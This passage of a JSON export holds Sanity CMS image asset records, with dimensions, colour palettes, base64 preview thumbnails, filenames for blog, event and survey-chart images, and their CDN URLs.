e":"sanity.imagePaletteSwatch","background":"#66aae3","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a6504f","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#31c241","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image.png","path":"images/sczeoy4w/production/55ea3895f7f26b40712b199989554d66213e77a7-900x900.png","sha1hash":"55ea3895f7f26b40712b199989554d66213e77a7","size":65221,"uploadId":"opntMlzjMxJYFqCYLI1FwRvua2vJ89WH","url":"https://cdn.sanity.io/images/sczeoy4w/production/55ea3895f7f26b40712b199989554d66213e77a7-900x900.png"} {"_createdAt":"2024-11-18T15:06:11Z","_id":"image-00cb75b4853ce1c4ebd33dc1143a53afdfbb6977-1200x630-png","_rev":"sEwq5NBiPauorOxrhfUa2t","_type":"sanity.imageAsset","_updatedAt":"2024-11-18T15:06:11Z","assetId":"00cb75b4853ce1c4ebd33dc1143a53afdfbb6977","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9Q9=.0[gP~9R5k65X}hG1Nzxu-nRkIVjF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACcElEQVR4nB3O2XLaBgBAUf7/YzpNmtKWOjXeMBSCxaYN7RuSEBIC7TG+GevhvN65Aze6YR9a7EONEza4UYcXtwTHjsOnpCE4Nph+zWZfIsgVqlWT+CGttaQzZ7Tumjo0KZOQgek1CLsDrwuN+cpiLYesxYCdGiHtY4SdzUIwmS4dFpu0D0pGTRjkVL5GZ83prAVtIFHHNgPdKXiaynwZvvDnaMr4Zcv904qnV5HpQuFuvODr8IW/7gT+X0Xs7QYv6jidO67ZmSbU6Jy3XuuLDHS34Hmm8MffrwxHM0b3S/75b87deMn3xyXD0YTfvo4Z/rtkLUXE0ZXLKeOaX7gWNcXlTBPpdPaiNzC8msXa4/FV5nmm8jRVeJiIPE5EHiZbxs8r7h9+MJmJmGbIxTeorBWlK1OEDmXsUUUWjbOiNWYMrOAdUSsQxAxBOrP6JGds5JSNkrJVTqiKh6ebZAeP0nzjIr2Qqiuu2pLK+EHhaZw9h9TWP4MfSEaHINW9jdr0tvu6t9vXGHpCau6pgj2lJ3MyVSI3JA8Disgji1P8oMTxCgZ2cEM1GnZKxXZfIek1stGimJ8aVKvFcXPOlkxjC5SxQ57mZHlHfv1Jmnf4UYvutmhOy8ANOhz1hLYL2UhHRC3D9Fq8+IZ/vBEkN+JjQeHs+Lkf0zoCVRKSnyuipMP0WySzRtTrfmDgBQ2+ckDf2Ky3Plv1iB00HJIPwtMHUXrjFGfUxpyb+I13eURrC2ThEdOtWSsVb1LJWq3YaTUDN3zH9Sscv8DyS+ywwY/fCRP6YHzqyAOPTh3D9nc+xG+05pw8TvDCro8spbKPbtSKX8AnH4hOTsqhAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4047","foreground":"#fff","population":0.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#814202","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#80858c","foreground":"#fff","population":0.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4a4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd47c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#80858c","foreground":"#fff","population":0.64,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa8d20","foreground":"#000","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Copy of EverSQL Tools Meta SEO Images (1200x630).png","path":"images/sczeoy4w/production/00cb75b4853ce1c4ebd33dc1143a53afdfbb6977-1200x630.png","sha1hash":"00cb75b4853ce1c4ebd33dc1143a53afdfbb6977","size":202142,"uploadId":"6TTkPp6up5jLKwdBUfUsGBgZQp2RGwMJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/00cb75b4853ce1c4ebd33dc1143a53afdfbb6977-1200x630.png"} {"_createdAt":"2024-12-25T15:50:37Z","_id":"image-72c18dbf9e5058648ac3e6b042586327d846a2f5-900x900-png","_rev":"y6qAFx3KEt65PvSAFy5OI8","_type":"sanity.imageAsset","_updatedAt":"2024-12-25T15:50:37Z","assetId":"72c18dbf9e5058648ac3e6b042586327d846a2f5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e65q|tt7ocadWB~qogoJadWB_3a}j?aeWB_3WBj?f6WB_2Rjj]kCay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":900,"width":900},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAABZklEQVR4nO2QTU/iUBSG+yvKbYulBaaXWygtH6WAUHXEjLrT5ThILdBJIP7/5WNsMsaZmEAys5q4eBbnJOfJe15tXzyx2xU8P+/Z73cU2zXrfMU6z9jkGfnTimy15HH5g8flA1m2ZLvJ+VlsSopi/RvaZJrw9WrB5dWCeXrGbJ5ymp6TTOf04zFRPyboRrSUQkpJqyVRSuH7H6N5SjFMxsSjhCDsESVnJIt7+hf3yNE19eicmgwRZhW9olOpVND1X+jl7j2a8n3Gk2lJ2BswOL1kdvud8c0DnfQOOfpGvT3EOqlhGMZBNClbDIbDkk7QJRrETGYXxJOUoJ8gOxFu08O0LIQQB9EajcZbP83mF5TyiaIeYTek7bfxPI+a42Ca5nFCpVRZsuu6VKsn2HYNx63junUcxy1n06oihHGcMAiCUmjb9tvR+06OkYg/X35NZx3Z0UGh8RdpPhSKfyARn0I+hfzfwhfwMSTUmCEhdgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#644c34","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c3c94","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2063af","foreground":"#fff","population":0.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2bfb9","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#74a2cf","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a07864","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2063af","foreground":"#fff","population":0.38,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"settings.png","path":"images/sczeoy4w/production/72c18dbf9e5058648ac3e6b042586327d846a2f5-900x900.png","sha1hash":"72c18dbf9e5058648ac3e6b042586327d846a2f5","size":104400,"uploadId":"BAnbs2762DXAnA0TzQi3J4HL5pJhGuce","url":"https://cdn.sanity.io/images/sczeoy4w/production/72c18dbf9e5058648ac3e6b042586327d846a2f5-900x900.png"} {"_createdAt":"2024-10-30T14:24:44Z","_id":"image-657c3801f0c061128e4c44c39d6151632f9985a2-1200x628-png","_rev":"ZxCjdMWwjhy9DmKAIgqaZ1","_type":"sanity.imageAsset","_updatedAt":"2024-10-30T14:24:44Z","assetId":"657c3801f0c061128e4c44c39d6151632f9985a2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M97-mz%BD$t5M{?wt7M_kCWC9FRjxaf9ob","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACOElEQVR4nB3RDVPScAAG8H2DLPbG/ntjY+NNwrugQxCJHQLOgW4TUvEoC0hJSYVUCIExMQxO8bLovPqu3fwAv3ueex5oDtdRepvgdgnuHSmUGfcB6zli3ccOX5PzX/D+jjPQEwKmsGA6A33G1wFi2+5s4fwZzjUglN4KvK4tr5zF06146ls83U2smknluyTfJFbHy+lJQp6m139nC4+y9isUHznme0C8JIS2nT+HMGYrFK0rWl/RBytKP5Uzlc0fm8X7bP5OVqdr+oOSn6k7fwulf6ncfSB85Zg3KfcV6R6QbhPCme3QUj2rG2uqkZS7sjrM5cfa9lTZvFX0e33nj7rzuL71uKo9vFoyxYUu57+ivUPKc834xhD2hBWtL28YmZyxnh/l8mNFn6xpt5mNO1n7mSvMsoVZRp2+yYyWVm5ehoe0pwtcBu0dQTD51rNQiUrNqHQWjp/Hkp1YsheRjMXEIBgbBGPDSHISS00i0nBRMsPStS9okGKbEDpW7WeYDoOCnS3aHSWc3QN8lRRqpFAnxRMgnJJik/G0WG+bcjUo8ZT2XFixYocQ2kDsQnOoiuAaCgoIVbSB0nPi/QuybKP2EeYQpmswfYAydZQ9QZgjhP2C8+fA1Qeunt3ZstaGcVWgNZ+7JPqrwFmGqQ8wVUGYA5Q9RCxcRZkaxtYxRx3jTp/aDgjxEue/Wj/bMJWlNFHY5b0Vgv9oI/csTFsYZT7D9CeE3kctfIzzTeDqki6DENo418C5xn+K26WDdlGOkwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242651","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":10.88,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":10.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#797ec5","foreground":"#fff","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6dbec","foreground":"#000","population":7.95,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a7197","foreground":"#fff","population":1.83,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.71,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"opensearch-clip-workshop.png","path":"images/sczeoy4w/production/657c3801f0c061128e4c44c39d6151632f9985a2-1200x628.png","sha1hash":"657c3801f0c061128e4c44c39d6151632f9985a2","size":157756,"uploadId":"qtHJvklu2K9oIs39ZZV6a04zcRtjGcZ2","url":"https://cdn.sanity.io/images/sczeoy4w/production/657c3801f0c061128e4c44c39d6151632f9985a2-1200x628.png"} {"_createdAt":"2024-11-18T15:37:02Z","_id":"image-85b5721ee9ee1535a7de44ea499544030edcabd4-1200x630-png","_rev":"sEwq5NBiPauorOxrhfaQOw","_type":"sanity.imageAsset","_updatedAt":"2024-11-18T15:37:02Z","assetId":"85b5721ee9ee1535a7de44ea499544030edcabd4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M46*tw?28^s,RP.Ak9M_f,R-00IU?aajoG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACqUlEQVR4nDWSaU8TYRhF5xdIhNk6M52lM9PSWhAFlMWtglI3QKgUAdkCKFVsaVkLbUURoyhqYjRR4189Zkb5cJM374eTe597hTNyjiblEWcjeVr0KcToLLK1iGytINsFVKdIxC2jeVvo/h5Goh4qeOvxQPvo/g4RbwPVrSA0KTlE4zGaM4PuzmPGl7ESq2juKpIVaA3ZWUeJbRLxdtH8GppXQ3V3UN1tNK+K5u8R8bZR3Q2EJjWHas9gty7gplbw0wUS54vE29exUyWiiTJWcotYeg+3rY7X/pp4xxu89hpWsvrf8QF6vI7m7yM063n8tmU6+4pcurZBZ1+F3kyVwXuH3Mi+pTfzhv7BdwzcP2Hg/lduDX/jXu47Q6Nf6Lp6hJM+xGw9wkweYaXeI8jmYy70rpHJ7nDzzh5Xb1UZuHvAaP6YkYkTsqOfyD78zMOpH0zO/2Zq8Q+T8z+5O/aZziuHWKlG6NBMvsU+d4ygWlN09b8Mgddv75K5U+P28CEjE8cMT5wwNPKRwQcfyY59JffkFxNzvxkaOSHdtU80sYnmBXfcRY83MJPvEJq1PLHkIqkLz2jtWKWtu8TF/i16MzV6Mq+42N+gvadOR98Bl2+8p+fmB9LddQy/jOJUQthpMUbiNcIZeZxm9RGiPolkTCOZ8yj2Utiy7q2heSUibjCdIoa/iZHYRnPLqE7wv42RaISFRPwAWkU4K49haOPYzjSmt4BiLdCsL9CiLyGZ/2YjmgXE6DMk8wWyXUK2iyjOeugscGXEG+GElFgFQVTG8KLjpFpniadX0N0lxOgiorGMbBWQ7TUk6zli9CmSWUAJYSXU2Aa6XwuBQdxgg0qsfBp5HEnPI0VnaDHmQoenQMV+GSqAydYLVGcdNVYh4m6FUYMy/rkLblrmL+kygn0uqVG6AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252950","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":9.87,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":9.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5d9e9","foreground":"#000","population":5.82,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a80c2","foreground":"#fff","population":0.25,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#697198","foreground":"#fff","population":1.35,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.54,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Blog Header.png","path":"images/sczeoy4w/production/85b5721ee9ee1535a7de44ea499544030edcabd4-1200x630.png","sha1hash":"85b5721ee9ee1535a7de44ea499544030edcabd4","size":269795,"uploadId":"qfOTxty28M64DeQMDDaFc1A4QLXkUv0E","url":"https://cdn.sanity.io/images/sczeoy4w/production/85b5721ee9ee1535a7de44ea499544030edcabd4-1200x630.png"} {"_createdAt":"2024-10-02T12:13:31Z","_id":"image-31b181d82a874d4bd331bd73e505fe5e34a09756-1200x630-png","_rev":"8q08tYxGNL2qfrtMKZ1HNh","_type":"sanity.imageAsset","_updatedAt":"2024-10-02T12:13:31Z","assetId":"31b181d82a874d4bd331bd73e505fe5e34a09756","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBB38w0v,oOw:|f{TN}h0,tR-pROE,w]$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADBklEQVQokUXSy0/aBwDA8d8/sDpFeYu8tIAiCDhEYQoiYAWp4ESxEBF8VaDi6lqfpTidj76S6raLN7vEzqymZt0jWXZptizZwWTpZVm27LDr/oXvMnfY4Xv9nL7CFXGcKsl7VMsS1MiT1CrTiFVZJOoZpJp5pNpbyHSLyPQfINcvU2/YpMn+KWb3F3T0viAX2+U4P8EvlTB/P/YhiBQJ9M1ZWtvnMTsKWJwl2lxLtLnuYutcw9Z5D6urjMlRRm1aR2XcpLHtkJauU5y+M25EH/Px9AyvV2P8sRNCkDaM0+6+RTCyTn+0THCwQl94k0Bkm1B0j/7rDwlGH9ETeojdvYPBtkOj7YDmzhPsPS8IBw/YSC7wWT7Ny8Ukgkw9jtNTIhwrEx/7iIHYh3j863T5NnD7K3j6tvH07eDu26PDu4/ZuYfB/hSr5xmOnuf43n1Cob/IVjzL0vUigkSVxOLM4w2tEIqW6Q6sY7ItojYWaTAsoDbeRmO6g7ZlBZ15A71li1bXIV3BE/oGTpjw32e3N85e7xAFzxRCtWwEVdMEVy1zNNsLGNqKaEwF5LqbiBv+rYBYU0KiXUKqW0Zr3sLpOyIUP2d07CVbsbuc97v4vNfJfncE4Yp4mLdlCWqVScQNaSTqSWTaaaSa2UtQoi6ialygyVTC2LKE2bGN99ozYqnvSGe/Z3X0EcfXIhwH/Nz3phDeqotTJY5TLR253KZGkUKkyFBbP0Wtag65tkC79SZjvTlmBnKMh9cYHj0hNfMjk/M/M548JxN8wqR/l0HvJwjV4hhKeRy1JomqMYNEnfkPVOYuQZUuT8Sd40EqwWlhiKNinvfnnzNbumDu9huGUq/pDLziHd8rHL6vEETiIXT1MYxXU+ibp5DrsoiU/4P1ujyDnhxHU3Eu7oX4YTPH/sopi6u/Ulr7nZHMTzgD32Dt+Rprz5cIVXUxRJI4YkWCOtUNRMo0NYoMIuUUdao5pJoCHscsB5lhftv28+ZBhsPKGcuVP7lT+Yvk9AUdwW+xdJ/T6jnjH6dzsJDOpoUYAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4575","foreground":"#fff","population":1.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":8.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":8.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6abd1","foreground":"#000","population":0.75,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc9c3b","foreground":"#000","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5cae","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef7f33","foreground":"#000","population":2.66,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Google Cloud Summit Nordics meta image.png","path":"images/sczeoy4w/production/31b181d82a874d4bd331bd73e505fe5e34a09756-1200x630.png","sha1hash":"31b181d82a874d4bd331bd73e505fe5e34a09756","size":241322,"uploadId":"782ZhnuJlBqH8FxOnQHiqjPMP7Ew8c8s","url":"https://cdn.sanity.io/images/sczeoy4w/production/31b181d82a874d4bd331bd73e505fe5e34a09756-1200x630.png"} {"_createdAt":"2024-11-15T09:36:01Z","_id":"image-d68a2f7b7b47765f94194833a01eb4ad99b1e876-2160x2160-png","_rev":"0nsIYuNmri4WLONet0sp6M","_type":"sanity.imageAsset","_updatedAt":"2024-11-15T09:36:01Z","assetId":"d68a2f7b7b47765f94194833a01eb4ad99b1e876","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eMONU.of~ot8IXWEaxxta|Rk_1RkDkt6tPxtWBWCofocRjt7j?M|t6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2160,"width":2160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADV0lEQVR4nHVV+08TaRTlr1bWB6uggA9cg4mJRje4IgZRie6SkI0PEghUlOmDtvP4ptN5dKal2Jm+aClt55h7B1Ba/OHmfs3MnO/ce+65HbFLCHPOEXbVOpJyjfNJpLWf56RcRUqpISOa0J0u7BLOi3DELoUQVoc/kNIVJLL+UMSzPj+T0t8ZVFhHsIohrCJOwzzOI4Scd/vIOYfQ7RaE1eKs5lvYSdex/jXAllRFWmtAsw74PdPrD7GzilFmwOiWPoxCB8Ii4DZ21RaWV/dx/7GFv1+62NwJIOw2nL0eCvshnDLg7EVxLmDe7UEz25BzB1CMA0iZBhaWS5iY0fHXIxOra/uQMnXIRpt7SAScvfB8QNMLkXO6DBaJUMPXVA2L70qYmjUwPWvg4ZyNJwsuni15WPlEvW5CtzsMfA7DEEahC8VocdPjGR9bko9/ljyM3RK4MK5gdELFxQkFl6c0PHruYH27gqze5MpOMIYAqWR6Ka3V8C1VxeL7EqYfGLh+V8f4jM755n0Dz155iElVFs70er8ruQM512SGiWyAmOTj+WsPY7cFMxu9oXC+MqXh8Twx9Ply0+txL88wJMC8GzHMiAZSShXbiQALy0WM39MZ5Oq0hivTGq7dEXg452Dl4z62pBpk4xCm22OMM4CG24VqtrCrEcOohy/eerg+o+PSpMa9uzSpciZQagX18sNGBWm1CXLb0NgIu8NlpJQAXxI+5gnwro4/bqq4PKlh7JbGFxDriXs6Zp9aWF0rIynXoduRe86MjW4f8gxmRB076Rpe/RuJcu0OiZFjRu/+L+PDho+1WB1b8SYyehtG4ejUPafWo5lS8zSH0djE4j7m3xBDgdEbKv68LTC3WOBWkLpWMRLDOY4zKkdeJtu1kNUbzJBcsfKxgvk3Rbx4W8TSf2V82qwyIxLwxCXOoFOobiqXhprWFbGjsfm2W8PnzQDr2wGSCi2GzvEQ/wT6DSBguH1eYSRIQq4iKQeIZ+qIxRtsMdowzl4fhfIAGP8eKDlSmEomUaJtEwWduzAKvVO//hoOLQf3EKbTQp7yiSiR7Xq8NAmQ5KdgIC9ywOAyZTaFDmxRgSqXkRUBa0DtIFFCOtANv8YgyBBD9wh2vg4hAihGg0eH/gJ+AGoOlST8f3qsAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303555","foreground":"#fff","population":0.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1034","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5c65a9","foreground":"#fff","population":0.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ca4d1","foreground":"#000","population":0.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#929af1","foreground":"#000","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c65a9","foreground":"#fff","population":0.56,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e15b51","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Chart Where are you on your AI journey.png","path":"images/sczeoy4w/production/d68a2f7b7b47765f94194833a01eb4ad99b1e876-2160x2160.png","sha1hash":"d68a2f7b7b47765f94194833a01eb4ad99b1e876","size":62156,"uploadId":"dIGf5Wj4vYFuacyUydCI2VPhiySAUv1i","url":"https://cdn.sanity.io/images/sczeoy4w/production/d68a2f7b7b47765f94194833a01eb4ad99b1e876-2160x2160.png"} {"_createdAt":"2024-11-15T09:36:17Z","_id":"image-1ca6e2c63f2da4c4b9435aefa3560194ba670406-2160x2160-png","_rev":"0TXqTylVMKaoTR0MBsQfw4","_type":"sanity.imageAsset","_updatedAt":"2024-11-15T09:36:17Z","assetId":"1ca6e2c63f2da4c4b9435aefa3560194ba670406","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eAOgdE9ItR?b?u.5s+t8RkV^Mw%f%MWBbI02IWt7t5%L~ot7IVIVIp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2160,"width":2160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADNElEQVR4nI1VaW8SURTt/1bjBxOLJsa0LolVa+oSq0YjUeNCN5baTkGgrAPDPGZjGcrWUihLyzH3PrBNU6sfDu/Nm/cO59x7350Zq4pxwRpiN9tGNNVAPNNCLN1kRNNNfk6obSTUfd4To/eZFuJZ2tdALN1CVj9EsXQM4poxK2Nk9R5COyWshQysb5pYDRrwBQRWAoLX1jZNbPy0GPSenldDBnx+wXsjiTp0ewirOsaMWQHU4hGUmIvgjsPEQaUE/7aNgGIjqDgIbMuR3zFoTUKJuUhrnalCzFgVIG8O2N5OvIbw7h7CiTp2aJyAFPxKEhqIJOuMXxSebAu5Yg9G+RjklMSxQs0cIp5p82F5sD4hoRg1kcofIKt3oYoeVEFjF2qxh7zZh3BGbJUIWeF5wnBCQonXWEm60OH4GOUTmBUJqzqZV2kuiYhHWq4CMsv70k5CQlptcHxIhe2OYbu4ENZ5QjpANrLikGOSM3o8ki3N7HPA/5vQrAA5Y4Boqo1kjrI1VUNWJC4jsy9SGE138f5LGd829jjjTu1ygn8ShsId3H1kYPG1g121C6s6+i9lfyX0Kx3cnBOYf2JgY7uOhHrAJVKwBpzNi4lO/9A6T7ihdDA7J+CZ17H01sbHbxWsBGvYijaR0XsoloYT4ikB1d0JjPIIwhmiYA9RLJ2cUbgtCa958rhxp4Db9wUeLBp48d7BSojqso10ocsZp5qkMsuKHicxvNuGEm9DFeTmjGXPvMCV2TyuzuZxzaPh+i0NnnsCCy8sLHvL+Lpeg19pYCvaxmakhZVgHZ98Ll5/LGPZW0Ek2TtVuBU7xMJLm2M4/8TEvacm5hZobuDhMxOPX9l4+aGEd5+r8P5w4f3u4o23gqW3JTx6bmFx2YES704Jx0hpffiVJtZ+1rG+1WD4gjX4Ai5bXt2U6wGliVCEFBL2+YwvWONzKe1Iti/6KVgj7omZQvfPmMwd8LWj1pY3+twIKOsUP90eoUixFB2kc7J50Pqk24yh28fIG4Mz6EMzB3wljbLsJKeQJWI7A5haHWrGZVLdHkwVYkwbqZtMcdpVZCe5CHZpCEvsQ9NayOnyytIn4DedaKBkILktugAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#23284c","foreground":"#fff","population":0.92,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#060b28","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b3bad7","foreground":"#000","population":2.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3bad7","foreground":"#000","population":2.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e695af","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6169a5","foreground":"#fff","population":0.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc5c54","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Chart Which LLM provider do you primarly use in the production phase of your AI projects.png","path":"images/sczeoy4w/production/1ca6e2c63f2da4c4b9435aefa3560194ba670406-2160x2160.png","sha1hash":"1ca6e2c63f2da4c4b9435aefa3560194ba670406","size":92866,"uploadId":"IV9CfUbjpV9cd5eaXiDLb7SOj88BjFJo","url":"https://cdn.sanity.io/images/sczeoy4w/production/1ca6e2c63f2da4c4b9435aefa3560194ba670406-2160x2160.png"} {"_createdAt":"2024-11-15T09:36:49Z","_id":"image-facdaad31248fa3b78e2e0c4c2f4925cc598afc1-2160x2160-png","_rev":"wPAP0KLLUYMrNcRuIFC1uS","_type":"sanity.imageAsset","_updatedAt":"2024-11-15T09:36:49Z","assetId":"facdaad31248fa3b78e2e0c4c2f4925cc598afc1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eXNA[7Rj~o%OWZj=j[a$WBoK_1t89HM_oeRlWBt6kCogRQWBofj]t6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2160,"width":2160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD70lEQVR4nHWV62/bVBjG+6+MARISdIxO47aKiZvYQJoEHwYIpAkm0D5M5cO0aYWNkhW2wdYh2sK2lhatuwAd0AlVaKIXaJukiZsmTtI4qWM7tnNPm2uTxknqB53jNM1gfHjs45M3P7+X875uUeLQg4oGTyAPly8DlsuB5bJY9KbhJM/+HNxUWTiX0lTkdxeXpXe/uIZQtAolroOwWuS4Dk4owczE8JdFwd9WFdNmGROzEqbmQvS5sTcjYXJWwrRFxpRZxrRFgc2ZgE8oQopsQI4BLeSyLGv0zQybwoI7BTubhN2VAMMmwbhTdN/uStI/G/uGjc2VgMO70gAqcaCFXMRwDQGpBF9wDZxgiKzJnhDWIKqGpEgFUkRDUClTG5cvTUXsQtEmoKBWKYDk0ZCRNxeXw6I3hwU3yW8RAUmDGK6A5Jzkm6RiZl6Fi8tQRgNI3CUbgkreroETipixJTB8y4/PexiYLjjR972I2+NJmBdy8PIlWhAzE6UiBQoqlS0gySO5qwkSfhWT5gS6vpzHa2+O4skXr+H5A2N494gdx01+9A6p+HMuDy+/Tl/MCUXwcvneHG4ClfgG5hfT+PS8FXteGcGDO7/F9p3fYfcLo3jjkAUfHFvCie4QBm5mYHVqdcgGPTKbjAZQTerglTKu/RzAqwdHKeyBHf146InLePrl23j7Qzs6TgnoPBvD+f40frtbBCfWEE4Ykf0HGE7qYP15mC7YsGvvMLa19mP74wawff+veP8jN06ejaHrYgpnvl7B0E95OJaMvN0Hq